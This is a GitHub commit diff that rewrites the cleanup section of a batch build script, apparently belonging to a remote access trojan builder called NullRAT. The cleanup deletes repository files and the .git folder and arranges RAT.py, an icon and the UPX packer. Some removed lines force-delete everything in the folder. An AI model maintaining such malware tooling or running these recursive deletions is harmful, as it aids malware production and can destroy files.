Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 5eca03b

Browse files
committed
Fix cleanup mode
1 parent 57cfe10 commit 5eca03b

1 file changed

Lines changed: 18 additions & 19 deletions

File tree

AIO.bat

Lines changed: 18 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -124,22 +124,21 @@ if %errorlevel%==1 (
124124
pause
125125

126126
:cleanup
127-
attrib +h "%~nx0"
128-
cd "%~dp0\NullRAT"
129-
move RAT.py "%~dp0\"
130-
move custom_icon.ico "%~dp0\"
131-
move upx\upx.exe "%~dp0\"
132-
cd "%~dp0\" & rmdir /s /q "%~dp0\NullRAT\"
133-
mkdir "%~dp0\NullRAT\" & move RAT.py "%~dp0\NullRAT\"
134-
move custom_icon.ico "%~dp0\NullRAT\" & mkdir "%~dp0\NullRAT\upx\"
135-
move upx.exe "%~dp0\NullRAT\upx\"
136-
if exist README.md (del README.md)
137-
if exist "Getting Variables".md (del README.md)
138-
if exist .git\ (rmdir /s /q .git\)
139-
move "%~nx0" "%~dp0\temp"
140-
del /f /q *.*
141-
rmdir /s /q * & rmdir /s /q build\
142-
cd "%~dp0\temp"
143-
move * "%~dp0\" & cd "%~dp0\"
144-
rmdir /s /q "%~dp0\temp"
145-
attrib -h "%~nx0"
127+
cd "%~dp0"
128+
attrib -h ".git"
129+
del README.md
130+
del "Getting Variables".md
131+
del .gitignore
132+
rmdir /s /q ".git"
133+
cd "%~dp0NullRAT"
134+
move upx\ "%~dp0"
135+
move custom_icon.ico "%~dp0"
136+
move RAT.py "%~dp0"
137+
cd "%~dp0"
138+
rmdir /s /q NullRAT
139+
mkdir NullRAT
140+
move RAT.py NullRAT\
141+
move custom_icon.ico NullRAT\
142+
move upx\ NullRAT
143+
144+
goto main

0 commit comments

Comments
 (0)